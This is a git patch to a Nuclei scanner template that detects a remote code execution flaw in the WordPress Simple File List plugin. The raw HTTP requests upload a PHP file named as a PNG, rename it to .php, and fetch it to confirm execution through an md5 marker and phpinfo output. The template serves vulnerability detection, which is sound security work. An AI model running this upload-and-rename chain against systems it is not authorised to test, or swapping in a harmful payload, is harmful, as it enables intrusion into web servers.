From 12862393b6d48c5318476a78bbdd52a21de2384c Mon Sep 17 00:00:00 2001
From: Prince Chaddha <prince@projectdiscovery.io>
Date: Tue, 23 May 2023 13:35:51 +0530
Subject: [PATCH] Update wordpress-rce-simplefilelist.yaml

---
 .../wordpress-rce-simplefilelist.yaml         | 25 ++++++++-----------
 1 file changed, 11 insertions(+), 14 deletions(-)

diff --git a/http/vulnerabilities/wordpress/wordpress-rce-simplefilelist.yaml b/http/vulnerabilities/wordpress/wordpress-rce-simplefilelist.yaml
index 2790f6dfea..40881af7ec 100644
--- a/http/vulnerabilities/wordpress/wordpress-rce-simplefilelist.yaml
+++ b/http/vulnerabilities/wordpress/wordpress-rce-simplefilelist.yaml
@@ -12,9 +12,12 @@ info:
     cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
     cvss-score: 10.0
     cwe-id: CWE-77
-  tags: wpscan,wordpress,wp-plugin,rce,intrusive,fileupload,python
   metadata:
     max-request: 3
+  tags: wpscan,wordpress,wp-plugin,rce,intrusive,fileupload,python
+
+variables:
+  filepath: '{{rand_base(7, "abcdefghi")}}'
 
 http:
   - raw:
@@ -41,10 +44,10 @@ http:
 
         ba288252629a5399759b6fde1e205bc2
         --6985fa39c0698d07f6d418b37388e1b2
-        Content-Disposition: form-data; name="file"; filename="nuclei.png"
+        Content-Disposition: form-data; name="file"; filename="{{filepath}}.png"
         Content-Type: image/png
 
-        <?php echo "Nuclei - Open source project (github.com/projectdiscovery/nuclei)"; phpinfo(); ?>
+        <?php echo md5("wordpress-rce-simplefilelist"); phpinfo(); ?>
         --6985fa39c0698d07f6d418b37388e1b2--
 
       - |
@@ -54,28 +57,22 @@ http:
         Accept: */*
         Content-Type: application/x-www-form-urlencoded
 
-        eeSFL_ID=1&eeFileOld=nuclei.png&eeListFolder=%2F&eeFileAction=Rename%7Cnuclei.php
+        eeSFL_ID=1&eeFileOld={{filepath}}.png&eeListFolder=%2F&eeFileAction=Rename%7C{{filepath}}.php
 
       - |
-        GET /wp-content/uploads/simple-file-list/nuclei.php HTTP/1.1
+        GET /wp-content/uploads/simple-file-list/{{filepath}}.php HTTP/1.1
         Host: {{Hostname}}
-        Accept: */*
 
     matchers-condition: and
     matchers:
       - type: word
+        part: body
         words:
-          - 'Nuclei - Open source project (github.com/projectdiscovery/nuclei)'
+          - "aa5be3e9dec96f2f1a593b2f5b2288af"
           - "PHP Version"
           - "Configuration Command"
-        part: body
         condition: and
-      - type: word
-        words:
-          - 'text/html'
-        part: header
+
       - type: status
         status:
           - 200
-
-# Enhanced by mp on 2022/05/31